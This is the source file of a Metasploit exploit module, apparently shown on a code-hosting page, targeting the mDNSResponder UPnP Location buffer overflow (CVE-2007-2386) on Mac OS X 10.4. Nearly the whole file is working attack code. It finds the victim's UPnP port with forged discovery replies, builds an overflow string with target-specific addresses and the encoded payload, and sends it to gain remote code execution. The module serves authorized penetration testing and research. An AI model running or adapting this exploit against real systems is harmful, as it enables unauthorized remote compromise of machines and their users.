Path: blob/master/modules/exploits/osx/mdns/upnp_location.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Mac OS X mDNSResponder UPnP Location Overflow',15'Description' => %q{16This module exploits a buffer overflow that occurs when processing17specially crafted requests set to mDNSResponder. All Mac OS X systems18between version 10.4 and 10.4.9 (without the 2007-005 patch) are19affected.20},21'License' => MSF_LICENSE,22'Author' => [23'ddz'24],25'References' => [26[ 'OSVDB', '35142' ],27[ 'CVE', '2007-2386' ],28[ 'BID', '24144' ],29[ 'URL', 'http://support.apple.com/kb/TA24732' ]30],31'DefaultOptions' => {32'SRVPORT' => 1900,33'RPORT' => 034},35'Payload' => {36'BadChars' => "\x00\x3a\x2f",37'StackAdjustment' => 0,38'Space' => 46839},40'Platform' => 'osx',41'Targets' => [42[43'10.4.8 x86',44{ # mDNSResponder-108.245'Arch' => ARCH_X86,46# Offset to mDNSStorage structure47'Offset' => 21000,48'Magic' => 0x8fe510a0,49'g_szRouterHostPortDesc' => 0x53dc0,50}51],52[53'10.4.0 PPC',54{ # mDNSResponder-10755'Arch' => ARCH_PPC,56'Offset' => 21000,57'Magic' => 0x8fe51f4c,58'Ret' => 0x8fe41af8,59}60]61],62'DisclosureDate' => '2007-05-25',63'DefaultTarget' => 1,64'Notes' => {65'Reliability' => UNKNOWN_RELIABILITY,66'Stability' => UNKNOWN_STABILITY,67'SideEffects' => UNKNOWN_SIDE_EFFECTS68}69)70)7172register_options(73[74Opt::LHOST(),75OptPort.new('SRVPORT', [ true, "The UPNP server port to listen on", 1900 ])76]77)7879@mutex = Mutex.new()80@found_upnp_port = false81@key_to_port = Hash.new()82@upnp_port = 083@client_socket = nil84end8586def check87#88# TODO: Listen on two service ports, one a single character89# shorter than the other (i.e 1900 and 19000). If the copy was90# truncated by strlcpy, it will connect to the service listening91# on the shorter port number.92#93upnp_port = scan_for_upnp_port()94if (upnp_port > 0)95return Exploit::CheckCode::Detected96else97return Exploit::CheckCode::Unsupported98end99end100101def upnp_server(server)102client = server.accept()103request = client.readline()104if (request =~ /GET \/([\da-f]+).xml/)105@mutex.synchronize {106@found_upnp_port = true107@upnp_port = @key_to_port[$1]108109# Important: Keep the client connection open110@client_socket = client111}112end113end114115def scan_for_upnp_port116@upnp_port = 0117@found_upnp_port = false118119upnp_port = 0120121# XXX: Do this in a more Metasploit-y way122server = TCPServer.open(1900)123server_thread = framework.threads.spawn("Module(#{self.refname})-Listener", false) { self.upnp_server(server) }124125begin126socket = Rex::Socket.create_udp127128upnp_location = "http://" + datastore['LHOST'] + ":" + datastore['SRVPORT'].to_s129130print_status("Listening for UPNP requests on: #{upnp_location}")131print_status("Sending UPNP Discovery replies...")132133i = 49152;134while i < 65536 && @mutex.synchronize {135@found_upnp_port == false136}137key = sprintf("%.2x%.2x%.2x%.2x%.2x",138rand(255), rand(255), rand(255), rand(255), rand(255))139140@mutex.synchronize {141@key_to_port[key] = i142}143144upnp_reply = "HTTP/1.1 200 Ok\r\n" +145"ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +146"USN: uuid:7076436f-6e65-1063-8074-0017311c11d4\r\n" +147"Location: #{upnp_location}/#{key}.xml\r\n\r\n"148149socket.sendto(upnp_reply, datastore['RHOST'], i)150151i += 1152end153154@mutex.synchronize {155if (@found_upnp_port)156upnp_port = @upnp_port157end158}159ensure160server.close161server_thread.join162end163164return upnp_port165end166167def exploit168#169# It is very important that we scan for the upnp port. We must170# receive the TCP connection and hold it open, otherwise the171# code path that uses the overwritten function pointer most172# likely won't be used. Holding this connection increases the173# chance that the code path will be used dramatically.174#175upnp_port = scan_for_upnp_port()176177if upnp_port == 0178fail_with(Failure::Unreachable, "Could not find listening UPNP UDP socket")179end180181datastore['RPORT'] = upnp_port182183socket = connect_udp()184185if (target['Arch'] == ARCH_X86)186space = "A" * target['Offset']187space[0, payload.encoded.length] = payload.encoded188189pattern = Rex::Text.pattern_create(47)190pattern[20, 4] = [target['Magic']].pack('V')191pattern[44, 3] = [target['g_szRouterHostPortDesc']].pack('V')[0..2]192193boom = space + pattern194usn = ""195196elsif (target['Arch'] == ARCH_PPC)197space = "A" * target['Offset']198199pattern = Rex::Text.pattern_create(48)200pattern[20, 4] = [target['Magic']].pack('N')201202#203# r26, r27, r30, r31 point to g_szUSN+556204# Ret should be a branch to one of these registers205# And we make sure to put our payload in the USN header206#207pattern[44, 4] = [target['Ret']].pack('N')208209boom = space + pattern210211#212# Start payload at offset 556 within USN213#214usn = "A" * 556 + payload.encoded215end216217upnp_reply = "HTTP/1.1 200 Ok\r\n" +218"ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +219"USN: #{usn}\r\n" +220"Location: http://#{boom}\r\n\r\n"221222print_status("Sending evil UPNP response")223socket.put(upnp_reply)224225print_status("Sleeping to give mDNSDaemonIdle() a chance to run")226select(nil, nil, nil, 10)227228handler()229disconnect_udp()230end231end232233234